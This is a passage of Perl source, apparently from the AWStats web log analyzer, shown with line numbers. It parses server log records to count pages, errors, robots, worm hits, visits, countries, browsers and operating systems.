"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
11128
&& !&OnlyHost( $field[$pos_host] )
11129
&& ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
11132
"Dropped record (host $field[$pos_host]"
11133
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
11134
. " not qualified by OnlyHosts)";
11136
elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
11138
"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
11140
elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
11142
"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
11144
elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
11146
"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
11149
$NbOfLinesDropped++;
11150
if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
11151
if ($ShowDropped) { print "$qualifdrop: $line\n"; }
11156
# Record is approved
11157
#-------------------
11159
# Is it in a new break section ?
11160
#-------------------------------
11161
if ( $daterecord > $lastprocesseddate ) {
11163
# A new break to process
11164
if ( $lastprocesseddate > 0 ) {
11166
# We save data of previous break
11167
&Read_History_With_TmpUpdate(
11168
$lastprocessedyear, $lastprocessedmonth,
11169
$lastprocessedday, $lastprocessedhour,
11171
"all", ( $lastlinenb + $NbOfLinesParsed ),
11172
$lastlineoffset, &CheckSum($line)
11174
$counterforflushtest = 0; # We reset counterforflushtest
11176
$lastprocessedyear = $yearrecord;
11177
$lastprocessedmonth = $monthrecord;
11178
$lastprocessedday = $dayrecord;
11179
$lastprocessedhour = $hourrecord;
11180
if ( $DatabaseBreak eq 'month' ) {
11181
$lastprocesseddate =
11182
sprintf( "%04i%02i", $yearrecord, $monthrecord );
11184
elsif ( $DatabaseBreak eq 'year' ) {
11185
$lastprocesseddate = sprintf( "%04i%", $yearrecord );
11187
elsif ( $DatabaseBreak eq 'day' ) {
11188
$lastprocesseddate = sprintf( "%04i%02i%02i",
11189
$yearrecord, $monthrecord, $dayrecord );
11191
elsif ( $DatabaseBreak eq 'hour' ) {
11192
$lastprocesseddate = sprintf( "%04i%02i%02i%02i",
11193
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
11197
$countedtraffic = 0;
11200
# Convert $field[$pos_size]
11201
# if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
11203
# Define a clean target URL and referrer URL
11204
# We keep a clean $field[$pos_url] and
11205
# we store original value for urlwithnoquery, tokenquery and standalonequery
11206
#---------------------------------------------------------------------------
11207
if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
11209
# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x¶m2=y#aaa, /mydir/mypage.ext#aaa, /
11210
my $urlwithnoquery;
11212
my $standalonequery;
11214
if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
11216
} # Remove and save anchor
11217
if ($URLWithQuery) {
11218
$urlwithnoquery = $field[$pos_url];
11219
my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
11220
$tokenquery = $1 || '';
11221
$standalonequery = $2 || '';
11223
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
11226
&& $field[$pos_query]
11227
&& $field[$pos_query] ne '-' )
11231
$standalonequery = $field[$pos_query];
11234
$field[$pos_url] .= '?' . $field[$pos_query];
11238
# Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
11239
my $newstandalonequery = '';
11240
if (@URLWithQueryWithOnly) {
11241
foreach (@URLWithQueryWithOnly) {
11242
foreach my $p ( split( /&/, $standalonequery ) ) {
11243
if ($URLNotCaseSensitive) {
11244
if ( $p =~ /^$_=/i ) {
11245
$newstandalonequery .= "$p&";
11250
if ( $p =~ /^$_=/ ) {
11251
$newstandalonequery .= "$p&";
11257
chop $newstandalonequery;
11260
# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
11261
elsif (@URLWithQueryWithout) {
11262
foreach my $p ( split( /&/, $standalonequery ) ) {
11264
foreach (@URLWithQueryWithout) {
11266
#if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); }
11267
if ($URLNotCaseSensitive) {
11268
if ( $p =~ /^$_=/i ) { $found = 1; last; }
11271
if ( $p =~ /^$_=/ ) { $found = 1; last; }
11274
if ( !$found ) { $newstandalonequery .= "$p&"; }
11276
chop $newstandalonequery;
11278
else { $newstandalonequery = $standalonequery; }
11281
$field[$pos_url] = $urlwithnoquery;
11282
if ($newstandalonequery) {
11283
$field[$pos_url] .= "$tokenquery$newstandalonequery";
11289
# Trunc parameters of URL
11290
$field[$pos_url] =~ s/$regtruncurl//o;
11291
$urlwithnoquery = $field[$pos_url];
11292
$tokenquery = $1 || '';
11293
$standalonequery = $2 || '';
11295
# For IIS setup, if pos_query is enabled we need to use it for query strings
11296
if ( $pos_query >= 0
11297
&& $field[$pos_query]
11298
&& $field[$pos_query] ne '-' )
11301
$standalonequery = $field[$pos_query];
11304
if ( $URLWithAnchor && $anchor ) {
11305
$field[$pos_url] .= "#$anchor";
11307
# Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
11308
# Here now tokenquery is '' or '?' or ';'
11309
# Here now standalonequery is '' or 'param1=x'
11311
# Define page and extension
11312
#--------------------------
11317
if ( $urlwithnoquery =~ /$regext/o
11318
|| ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
11322
( $LevelForFileTypesDetection >= 2 || $MimeHashFamily{$1} )
11325
if ( $NotPageList{$extension} ) { $PageBool = 0; }
11328
$extension = 'Unknown';
11331
if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) {
11335
# Analyze: misc tracker (must be before return code)
11336
#---------------------------------------------------
11337
if ( $urlwithnoquery =~ /$regmisc/o ) {
11340
" Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
11344
my $foundparam = 0;
11345
foreach ( split( /&/, $standalonequery ) ) {
11346
if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
11348
$_screensize_h{"$1x$2"}++;
11352
#if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; }
11353
if ( $_ =~ /^nojs=(\w+)/i ) {
11355
if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
11358
if ( $_ =~ /^java=(\w+)/i ) {
11360
if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
11363
if ( $_ =~ /^shk=(\w+)/i ) {
11365
if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
11368
if ( $_ =~ /^fla=(\w+)/i ) {
11370
if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
11373
if ( $_ =~ /^rp=(\w+)/i ) {
11375
if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
11378
if ( $_ =~ /^mov=(\w+)/i ) {
11380
if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
11383
if ( $_ =~ /^wma=(\w+)/i ) {
11386
$_misc_h{"WindowsMediaPlayerSupport"}++;
11390
if ( $_ =~ /^pdf=(\w+)/i ) {
11392
if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
11396
if ($foundparam) { $_misc_h{"TotalMisc"}++; }
11399
# Analyze: successful favicon (=> countedtraffic=1 if favicon)
11400
#--------------------------------------------------
11401
if ( $urlwithnoquery =~ /$regfavico/o ) {
11402
if ( $field[$pos_code] != 404 ) {
11403
$_misc_h{'AddToFavourites'}++;
11406
1; # favicon is a case that must not be counted anywhere else
11407
$_time_nv_h[$hourrecord]++;
11408
if ( $field[$pos_code] != 404 ) {
11409
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11413
# Analyze: Worms (=> countedtraffic=2 if worm)
11414
#---------------------------------------------
11415
if ( !$countedtraffic ) {
11416
if ($LevelForWormsDetection) {
11417
foreach (@WormsSearchIDOrder) {
11418
if ( $field[$pos_url] =~ /$_/ ) {
11421
my $worm = &UnCompileRegex($_);
11424
" Record is a hit from a worm identified by '$worm'",
11428
$worm = $WormsHashID{$worm} || 'unknown';
11430
$_worm_k{$worm} += int( $field[$pos_size] );
11431
$_worm_l{$worm} = $timerecord;
11432
$countedtraffic = 2;
11433
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11434
$_time_nv_h[$hourrecord]++;
11435
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11442
# Analyze: Status code (=> countedtraffic=3 if error)
11443
#----------------------------------------------------
11444
if ( !$countedtraffic ) {
11445
if ( $LogType eq 'W' || $LogType eq 'S' )
11446
{ # HTTP record or Stream record
11447
if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid
11448
if ( $field[$pos_code] == 304 ) { $field[$pos_size] = 0; }
11450
else { # Code is not valid
11451
if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
11452
$field[$pos_code] = 999;
11454
$_errors_h{ $field[$pos_code] }++;
11455
$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );
11456
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
11457
if ( $field[$pos_code] == $code ) {
11459
# This is an error code which referrer need to be tracked
11461
substr( $field[$pos_url], 0,
11462
$MaxLengthOfStoredURL );
11463
$newurl =~ s/[$URLQuerySeparators].*$//;
11464
$_sider404_h{$newurl}++;
11465
if ( $pos_referer >= 0 ) {
11466
my $newreferer = $field[$pos_referer];
11467
if ( !$URLReferrerWithQuery ) {
11468
$newreferer =~ s/[$URLQuerySeparators].*$//;
11470
$_referer404_h{$newurl} = $newreferer;
11477
" Record stored in the status code chart (status code=$field[$pos_code])",
11481
$countedtraffic = 3;
11482
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11483
$_time_nv_h[$hourrecord]++;
11484
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11487
elsif ( $LogType eq 'M' ) { # Mail record
11488
if ( !$ValidSMTPCodes{ $field[$pos_code] } )
11489
{ # Code is not valid
11490
$_errors_h{ $field[$pos_code] }++;
11491
if ( $field[$pos_size] ne '-' ) {
11492
$_errors_k{ $field[$pos_code] } +=
11493
int( $field[$pos_size] );
11497
" Record stored in the status code chart (status code=$field[$pos_code])",
11501
$countedtraffic = 3;
11502
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11503
$_time_nv_h[$hourrecord]++;
11504
if ( $field[$pos_size] ne '-' ) {
11505
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11509
elsif ( $LogType eq 'F' ) { # FTP record
11513
# Analyze: Robot from robot database (=> countedtraffic=4 if robot)
11514
#------------------------------------------------------------------
11515
if ( !$countedtraffic ) {
11516
if ( $pos_agent >= 0 ) {
11518
$field[$pos_agent] =~ s/%20/_/g;
11519
} # This is to support servers (like Roxen) that writes user agent with %20 in it
11520
$UserAgent = $field[$pos_agent];
11521
if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
11523
if ($LevelForRobotsDetection) {
11526
my $uarobot = $TmpRobot{$UserAgent};
11529
#study $UserAgent; Does not increase speed
11530
foreach (@RobotsSearchIDOrder) {
11531
if ( $UserAgent =~ /$_/ ) {
11532
my $bot = &UnCompileRegex($_);
11533
$TmpRobot{$UserAgent} = $uarobot = "$bot"
11534
; # Last time, we won't search if robot or not. We know it is.
11537
" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
11545
{ # Last time, we won't search if robot or not. We know it's not.
11546
$TmpRobot{$UserAgent} = $uarobot = '-';
11549
if ( $uarobot ne '-' ) {
11551
# If robot, we stop here
11554
" UserAgent '$UserAgent' contains robot ID '$uarobot'",
11558
$_robot_h{$uarobot}++;
11559
if ( $field[$pos_size] ne '-' ) {
11560
$_robot_k{$uarobot} += int( $field[$pos_size] );
11562
$_robot_l{$uarobot} = $timerecord;
11563
if ( $urlwithnoquery =~ /$regrobot/o ) {
11564
$_robot_r{$uarobot}++;
11566
$countedtraffic = 4;
11567
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11568
$_time_nv_h[$hourrecord]++;
11569
if ( $field[$pos_size] ne '-' ) {
11570
$_time_nv_k[$hourrecord] +=
11571
int( $field[$pos_size] );
11576
my $uarobot = 'no_user_agent';
11578
# It's a robot or at least a bad browser, we stop here
11581
" UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
11585
$_robot_h{$uarobot}++;
11586
$_robot_k{$uarobot} += int( $field[$pos_size] );
11587
$_robot_l{$uarobot} = $timerecord;
11588
if ( $urlwithnoquery =~ /$regrobot/o ) {
11589
$_robot_r{$uarobot}++;
11591
$countedtraffic = 4;
11592
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11593
$_time_nv_h[$hourrecord]++;
11594
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11600
# Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
11601
# -------------------------------------------------------------------------
11602
if ( !$countedtraffic ) {
11603
if ( $urlwithnoquery =~ /$regrobot/o ) {
11604
if ($Debug) { debug( " It's an unknown robot", 2 ); }
11605
$_robot_h{'unknown'}++;
11606
$_robot_k{'unknown'} += int( $field[$pos_size] );
11607
$_robot_l{'unknown'} = $timerecord;
11608
$_robot_r{'unknown'}++;
11609
$countedtraffic = 5; # Must not be counted somewhere else
11610
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11611
$_time_nv_h[$hourrecord]++;
11612
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11616
# Analyze: File type - Compression
11617
#---------------------------------
11618
if ( !$countedtraffic ) {
11619
if ($LevelForFileTypesDetection) {
11620
$_filetypes_h{$extension}++;
11621
if ( $field[$pos_size] ne '-' ) {
11622
$_filetypes_k{$extension} += int( $field[$pos_size] );
11626
if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
11627
{ # If in and out in log
11628
my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
11629
my ( $notused1, $out, $notused2 ) =
11630
split( /:/, $field[$pos_gzipout] );
11632
$_filetypes_gz_in{$extension} += $in;
11633
$_filetypes_gz_out{$extension} += $out;
11636
elsif ( $pos_compratio >= 0
11637
&& ( $field[$pos_compratio] =~ /(\d+)/ ) )
11638
{ # Calculate in/out size from percentage
11639
if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
11641
# with mod_gzip: % is size (before-after)/before (low for jpg) ??????????
11642
$_filetypes_gz_in{$extension} +=
11644
$field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
11648
# with mod_deflate: % is size after/before (high for jpg)
11649
$_filetypes_gz_in{$extension} +=
11650
int( $field[$pos_size] * 100 / ( $1 || 1 ) );
11652
$_filetypes_gz_out{$extension} += int( $field[$pos_size] );
11656
# Analyze: Date - Hour - Pages - Hits - Kilo
11657
#-------------------------------------------
11660
# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
11661
if ( @DefaultFile > 1 ) {
11662
foreach my $elem (@DefaultFile) {
11663
if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
11666
else { $field[$pos_url] =~ s/$regdefault/\//o; }
11668
# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
11669
$FirstTime{$lastprocesseddate} ||= $timerecord;
11670
$LastTime{$lastprocesseddate} = $timerecord;
11671
$DayPages{$yearmonthdayrecord}++;
11672
$_url_p{ $field[$pos_url] }++; #Count accesses for page (page)
11673
if ( $field[$pos_size] ne '-' ) {
11674
$_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
11676
$_time_p[$hourrecord]++; #Count accesses for hour (page)
11677
# TODO Use an id for hash key of url
11678
# $_url_t{$_url_id}
11680
$_time_h[$hourrecord]++;
11681
$DayHits{$yearmonthdayrecord}++; #Count accesses for hour (hit)
11682
if ( $field[$pos_size] ne '-' ) {
11683
$_time_k[$hourrecord] += int( $field[$pos_size] );
11684
$DayBytes{$yearmonthdayrecord} +=
11685
int( $field[$pos_size] ); #Count accesses for hour (kb)
11690
if ( $pos_logname >= 0
11691
&& $field[$pos_logname]
11692
&& $field[$pos_logname] ne '-' )
11694
$field[$pos_logname] =~
11695
s/ /_/g; # This is to allow space in logname
11696
if ( $LogFormat eq '6' ) {
11697
$field[$pos_logname] =~ s/^\"//;
11698
$field[$pos_logname] =~ s/\"$//;
11699
} # logname field has " with Domino 6+
11700
if ($AuthenticatedUsersNotCaseSensitive) {
11701
$field[$pos_logname] = lc( $field[$pos_logname] );
11704
# We found an authenticated user
11706
$_login_p{ $field[$pos_logname] }++;
11707
} #Count accesses for page (page)
11708
$_login_h{ $field[$pos_logname] }
11709
++; #Count accesses for page (hit)
11710
$_login_k{ $field[$pos_logname] } +=
11711
int( $field[$pos_size] ); #Count accesses for page (kb)
11712
$_login_l{ $field[$pos_logname] } = $timerecord;
11718
my $Host = $field[$pos_host];
11719
my $HostResolved = ''
11720
; # HostResolved will be defined in next paragraf if countedtraffic is true
11722
if ( !$countedtraffic ) {
11724
if ($DNSLookup) { # DNS lookup is 1 or 2
11725
if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd
11726
$Host =~ s/^::ffff://;
11729
elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4
11730
elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6
11733
# Check in static DNS cache file
11734
$HostResolved = $MyDNSTable{$Host};
11735
if ($HostResolved) {
11738
" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
11743
elsif ( $DNSLookup == 1 ) {
11745
# Check in session cache (dynamic DNS cache file + session DNS cache)
11746
$HostResolved = $TmpDNSLookup{$Host};
11747
if ( !$HostResolved ) {
11748
if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
11749
$HostResolved = $TmpDNSLookup{$Host} = '*';
11752
" No need of reverse DNS lookup for $Host, skipped at user request.",
11761
pack( "C4", split( /\./, $Host ) ),
11763
; # This is very slow, may spend 20 seconds
11764
if ( !$lookupresult
11765
|| $lookupresult =~ /$regipv4/o
11766
|| !IsAscii($lookupresult) )
11768
$TmpDNSLookup{$Host} = $HostResolved =
11772
$TmpDNSLookup{$Host} = $HostResolved =
11777
" Reverse DNS lookup for $Host done: $HostResolved",
11782
elsif ( $ip == 6 ) {
11783
if ( $PluginsLoaded{'GetResolvedIP'}
11787
GetResolvedIP_ipv6($Host);
11788
if ( !$lookupresult
11789
|| !IsAscii($lookupresult) )
11791
$TmpDNSLookup{$Host} =
11792
$HostResolved = '*';
11795
$TmpDNSLookup{$Host} =
11796
$HostResolved = $lookupresult;
11800
$TmpDNSLookup{$Host} = $HostResolved =
11803
"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
11807
else { error("Bad value vor ip"); }
11812
$HostResolved = '*';
11815
" DNS lookup by static DNS cache file asked for $Host but not found.",
11824
" DNS lookup asked for $Host but this is not an IP address.",
11828
$DNSLookupAlreadyDone = $LogFile;
11832
if ( $Host =~ /$regipv4l/o ) {
11833
$Host =~ s/^::ffff://;
11834
$HostResolved = '*';
11837
elsif ( $Host =~ /$regipv4/o ) {
11838
$HostResolved = '*';
11841
elsif ( $Host =~ /$regipv6/o ) {
11842
$HostResolved = '*';
11845
if ($Debug) { debug( " No DNS lookup asked.", 4 ); }
11848
# Analyze: Country (Top-level domain)
11849
#------------------------------------
11852
" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
11858
# Set $HostResolved to host and resolve domain
11859
if ( $HostResolved eq '*' ) {
11861
# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
11862
$HostResolved = $Host;
11865
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
11866
$Domain = GetCountryCodeByAddr_geoip($HostResolved);
11869
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
11870
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
11871
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
11872
$Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
11874
if ($AtLeastOneSectionPlugin) {
11875
foreach my $pluginname (
11876
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
11878
my $function = "SectionProcessIp_$pluginname";
11880
debug( " Call to plugin function $function", 5 );
11882
&$function($HostResolved);
11888
# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
11889
$HostResolved = lc( $HostResolved ? $HostResolved : $Host );
11893
{ # If we have ip, we use it in priority instead of hostname
11894
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
11895
$Domain = GetCountryCodeByAddr_geoip($Host);
11898
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
11899
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
11901
$PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
11903
$Domain = GetCountryCodeByAddr_geoipfree($Host);
11905
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
11906
if ($AtLeastOneSectionPlugin) {
11907
foreach my $pluginname (
11908
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
11910
my $function = "SectionProcessIp_$pluginname";
11912
debug( " Call to plugin function $function",
11920
if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
11921
$Domain = GetCountryCodeByName_geoip($HostResolved);
11924
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
11925
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
11927
$PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
11929
$Domain = GetCountryCodeByName_geoipfree($HostResolved);
11931
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
11932
if ($AtLeastOneSectionPlugin) {
11933
foreach my $pluginname (
11934
keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
11936
my $function = "SectionProcessHostname_$pluginname";
11938
debug( " Call to plugin function $function",
11941
&$function($HostResolved);
11948
if ($PageBool) { $_domener_p{$Domain}++; }
11949
$_domener_h{$Domain}++;
11950
if ( $field[$pos_size] ne '-' ) {
11951
$_domener_k{$Domain} += int( $field[$pos_size] );
11954
# Analyze: Host, URL entry+exit and Session
11955
#------------------------------------------
11957
my $timehostl = $_host_l{$HostResolved};
11960
# A visit for this host was already detected
11961
# TODO everywhere there is $VISITTIMEOUT
11962
# $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
11963
# if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
11964
if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
11966
# This is a second visit or more
11967
if ( !$_waithost_s{$HostResolved} ) {
11969
# This is a second visit or more
11970
# We count 'visit','exit','entry','DayVisits'
11973
" This is a second visit for $HostResolved.",
11977
my $timehosts = $_host_s{$HostResolved};
11978
my $page = $_host_u{$HostResolved};
11979
if ($page) { $_url_x{$page}++; }
11980
$_url_e{ $field[$pos_url] }++;
11981
$DayVisits{$yearmonthdayrecord}++;
11983
# We can't count session yet because we don't have the start so
11984
# we save params of first 'wait' session
11985
$_waithost_l{$HostResolved} = $timehostl;
11986
$_waithost_s{$HostResolved} = $timehosts;
11987
$_waithost_u{$HostResolved} = $page;
11991
# This is third visit or more
11992
# We count 'session','visit','exit','entry','DayVisits'
11995
" This is a third visit or more for $HostResolved.",
11999
my $timehosts = $_host_s{$HostResolved};
12000
my $page = $_host_u{$HostResolved};
12001
if ($page) { $_url_x{$page}++; }
12002
$_url_e{ $field[$pos_url] }++;
12003
$DayVisits{$yearmonthdayrecord}++;
12005
$_session{ GetSessionRange( $timehosts,
12010
# Save new session properties
12011
$_host_s{$HostResolved} = $timerecord;
12012
$_host_l{$HostResolved} = $timerecord;
12013
$_host_u{$HostResolved} = $field[$pos_url];
12015
elsif ( $timerecord > $timehostl ) {
12017
# This is a same visit we can count
12020
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
12024
$_host_l{$HostResolved} = $timerecord;
12025
$_host_u{$HostResolved} = $field[$pos_url];
12027
elsif ( $timerecord == $timehostl ) {
12029
# This is a same visit we can count
12032
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
12036
$_host_u{$HostResolved} = $field[$pos_url];
12038
elsif ( $timerecord < $_host_s{$HostResolved} ) {
12040
# Should happens only with not correctly sorted log files
12043
" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
12047
if ( !$_waithost_s{$HostResolved} ) {
12049
# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
12050
$_waithost_e{$HostResolved} = $field[$pos_url];
12054
# We can't change entry counted as we dont't know what was the url counted as entry
12056
$_host_s{$HostResolved} = $timerecord;
12061
" This is same visit still running for $HostResolved with hit between start and last hits. No change",
12069
# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
12072
" New session (may be) for $HostResolved. Save in wait array to see later",
12076
$_waithost_e{$HostResolved} = $field[$pos_url];
12078
# Save new session properties
12079
$_host_u{$HostResolved} = $field[$pos_url];
12080
$_host_s{$HostResolved} = $timerecord;
12081
$_host_l{$HostResolved} = $timerecord;
12083
$_host_p{$HostResolved}++;
12085
$_host_h{$HostResolved}++;
12086
if ( $field[$pos_size] ne '-' ) {
12087
$_host_k{$HostResolved} += int( $field[$pos_size] );
12090
# Analyze: Browser - OS
12091
#----------------------
12092
if ( $pos_agent >= 0 ) {
12094
if ($LevelForBrowsersDetection) {
12098
my $uabrowser = $TmpBrowser{$UserAgent};
12099
if ( !$uabrowser ) {
12103
if ( $UserAgent =~ /$regverfirefox/o
12104
&& $UserAgent !~ /$regnotfirefox/o )
12106
$_browser_h{"firefox$1"}++;
12107
$TmpBrowser{$UserAgent} = "firefox$1";
12111
elsif ( $UserAgent =~ /$regveropera/o ) {
12112
$_browser_h{"opera$1"}++;
12113
$TmpBrowser{$UserAgent} = "opera$1";
12117
elsif ( $UserAgent =~ /$regverchrome/o ) {
12118
$_browser_h{"chrome$1"}++;
12119
$TmpBrowser{$UserAgent} = "chrome$1";
12123
elsif ($UserAgent =~ /$regversafari/o
12124
&& $UserAgent !~ /$regnotsafari/o )
12126
my $safariver = $SafariBuildToVersion{$1};
12127
if ( $UserAgent =~ /$regversafariver/o ) {
12130
$_browser_h{"safari$safariver"}++;
12131
$TmpBrowser{$UserAgent} = "safari$safariver";
12135
elsif ( $UserAgent =~ /$regverkonqueror/o ) {
12136
$_browser_h{"konqueror$1"}++;
12137
$TmpBrowser{$UserAgent} = "konqueror$1";
12141
elsif ( $UserAgent =~ /$regversvn/o ) {
12142
$_browser_h{"svn$1"}++;
12143
$TmpBrowser{$UserAgent} = "svn$1";
12146
# IE ? (must be at end of test)
12147
elsif ($UserAgent =~ /$regvermsie/o
12148
&& $UserAgent !~ /$regnotie/o )
12150
$_browser_h{"msie$2"}++;
12151
$TmpBrowser{$UserAgent} = "msie$2";
12154
# Netscape 6.x, 7.x ... ? (must be at end of test)
12155
elsif ( $UserAgent =~ /$regvernetscape/o ) {
12156
$_browser_h{"netscape$1"}++;
12157
$TmpBrowser{$UserAgent} = "netscape$1";
12160
# Netscape 3.x, 4.x ... ? (must be at end of test)
12161
elsif ($UserAgent =~ /$regvermozilla/o
12162
&& $UserAgent !~ /$regnotnetscape/o )
12164
$_browser_h{"netscape$2"}++;
12165
$TmpBrowser{$UserAgent} = "netscape$2";
12168
# Other known browsers ?
12171
foreach (@BrowsersSearchIDOrder)
12172
{ # Search ID in order of BrowsersSearchIDOrder
12173
if ( $UserAgent =~ /$_/ ) {
12174
my $browser = &UnCompileRegex($_);
12176
# TODO If browser is in a family, use version
12177
$_browser_h{"$browser"}++;
12178
$TmpBrowser{$UserAgent} = "$browser";
12185
# Unknown browser ?
12187
$_browser_h{'Unknown'}++;
12188
$TmpBrowser{$UserAgent} = 'Unknown';
12189
my $newua = $UserAgent;
12190
$newua =~ tr/\+ /__/;
12191
$_unknownrefererbrowser_l{$newua} = $timerecord;
12195
$_browser_h{$uabrowser}++;
12196
if ( $uabrowser eq 'Unknown' ) {
12197
my $newua = $UserAgent;
12198
$newua =~ tr/\+ /__/;
12199
$_unknownrefererbrowser_l{$newua} = $timerecord;
12205
if ($LevelForOSDetection) {
12209
my $uaos = $TmpOS{$UserAgent};
12213
# in OSHashID list ?
12214
foreach (@OSSearchIDOrder)
12215
{ # Search ID in order of OSSearchIDOrder
12216
if ( $UserAgent =~ /$_/ ) {
12217
my $osid = $OSHashID{ &UnCompileRegex($_) };
12219
$TmpOS{$UserAgent} = "$osid";
12227
$_os_h{'Unknown'}++;
12228
$TmpOS{$UserAgent} = 'Unknown';
12229
my $newua = $UserAgent;
12230
$newua =~ tr/\+ /__/;
12231
$_unknownreferer_l{$newua} = $timerecord;
12236
if ( $uaos eq 'Unknown' ) {
12237
my $newua = $UserAgent;
12238
$newua =~ tr/\+ /__/;
12239
$_unknownreferer_l{$newua} = $timerecord;
12247
